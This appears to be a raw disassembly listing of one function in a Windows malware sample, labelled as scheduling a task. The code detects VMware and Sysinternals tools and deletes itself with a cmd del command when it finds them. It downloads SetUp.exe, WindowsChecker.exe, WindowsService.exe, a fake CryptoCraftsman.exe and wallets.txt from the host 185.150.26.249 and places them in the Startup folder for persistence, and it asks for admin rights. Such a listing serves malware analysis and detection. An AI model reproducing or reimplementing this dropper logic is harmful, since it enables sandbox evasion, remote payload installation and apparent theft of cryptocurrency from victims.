Function at 0x40202d
Capabilities:
Schedule task via at

Disassembly:
push rbp
push rbx
sub rsp, 0x278
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x210], rcx
mov qword [rbp + 0x218], rdx
mov qword [rbp + 0x220], r8
mov dword [rbp + 0x228], r9d
call sym.sdc254685__
test al, al
je 0x402180
lea rax, str.Detekovn_VMWare._Ukonuji_program.
mov rdx, rax
mov rax, qword [0x004c25d0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
lea rax, [rbp + 0x11f]
mov qword [rbp + 0x190], rax
nop
nop
lea rdx, [rbp + 0x11f]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0
mov edx, 0x104
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x11f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov edx, 0
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator[](unsigned long long)
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x120]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, str.cmd__C_del__F__Q__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x120]
lea r8, [0x004bc013]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x402571
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.004a4290
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.PikoJeTop61123123_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x402294
lea rax, [rbp + 0x14f]
mov qword [rbp + 0x188], rax
nop
nop
lea rdx, [rbp + 0x14f]
lea rax, [rbp - 0x60]
mov r9, rdx
mov r8d, 0
mov edx, 0x104
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x14f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp - 0x60]
mov edx, 0
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator[](unsigned long long)
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x150]
lea rdx, [rbp - 0x60]
mov r8, rdx
lea rdx, str.cmd__C_del__F__Q__
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x150]
lea r8, [0x004bc013]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov ebx, 1
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x402562
lea rax, str.procexp.exe
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sym.isSysinternalsProcessRunning_char_const_
test al, al
je 0x402311
lea rax, str.Process_Explorer_is_running._Deleting_self.
mov rdx, rax
mov rax, qword [0x004c25f0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.SelfBye_char_const_
mov ebx, 0
jmp 0x402562
call sym.isSysinternals__
test al, al
je 0x402376
lea rax, str.Sysinternals_tools_are_installed._Deleting_self.
mov rdx, rax
mov rax, qword [0x004c25f0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
lea rax, [rbp - 0x40]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.SelfBye_char_const_
mov ebx, 0
jmp 0x402562
call sym.jjfgko462hhf__
call sym.Skgf45df__
lea rax, str.http:__185.150.26.249:80_SetUp.exe
mov qword [rbp + 0x1e0], rax
lea rax, str.http:__185.150.26.249:80_WindowsChecker.exe
mov qword [rbp + 0x1d8], rax
lea rax, str.http:__185.150.26.249:80_WindowsService.exe
mov qword [rbp + 0x1d0], rax
lea rax, str.http:__185.150.26.249:80_Fake_CryptoCraftsman.exe
mov qword [rbp + 0x1c8], rax
lea rax, str.http:__185.150.26.249:80_Fake_wallets.txt
mov qword [rbp + 0x1c0], rax
lea rax, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartUpSetUp.exe
mov qword [rbp + 0x1b8], rax
lea rax, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartUpWindowsChecker.exe
mov qword [rbp + 0x1b0], rax
lea rax, str.C:ProgramDataMicrosoftWindowsStart_MenuProgramsStartUpWindowsService.exe
mov qword [rbp + 0x1a8], rax
lea rax, str.CryptoCraftsman.exe
mov qword [rbp + 0x1a0], rax
lea rax, str.wallets.txt
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x17f]
mov qword [rbp + 0x180], rax
nop
nop
lea rdx, [rbp + 0x17f]
lea rax, [rbp + 0xd0]
mov r9, rdx
mov r8d, 0
mov edx, 0x104
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____unsigned_long_long__char__std::allocator_char__const_
lea rax, [rbp + 0x17f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xd0]
mov edx, 0
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator[](unsigned long long)
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
call sym.IsRunAsAdmin__
xor eax, 1
test al, al
je 0x4024d3
lea rax, str.Program_nem_administrtorsk_oprvnn._Vyaduji_povolen_od_uivatele.
mov rdx, rax
mov rax, qword [0x004c25f0]
mov rcx, rax
call dbg.std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)
mov rcx, rax
mov rax, qword [dbg.std::basic_ostream_char__std::char_traits_char____std::endl_char__std::char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call dbg.std::ostream::operator<<(std::ostream& (*)(std::ostream&))
lea rax, [rbp + 0xd0]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::c_str() const
mov rcx, rax
call sym.PrA0xyArDmin_char_const_
mov ebx, 0
jmp 0x402553
mov rdx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1e0]
mov rcx, rax
call sym.AHDK54Pr0xyArmy_char_const__char_const_
test al, al
je 0x4024fc
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call sym.PrA0xyArDmin_char_const_
mov rdx, qword [rbp + 0x1b0]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sym.AHDK54Pr0xyArmy_char_const__char_const_
test al, al
je 0x402525
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sym.PrA0xyArDmin_char_const_
mov rdx, qword [rbp + 0x1a8]
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sym.AHDK54Pr0xyArmy_char_const__char_const_
test al, al
je 0x40254e
mov rax, qword [rbp + 0x1a8]
mov rcx, rax
call sym.PrA0xyArDmin_char_const_
mov ebx, 0
lea rax, [rbp + 0xd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x402666
add rsp, 0x278
pop rbx
pop rbp
ret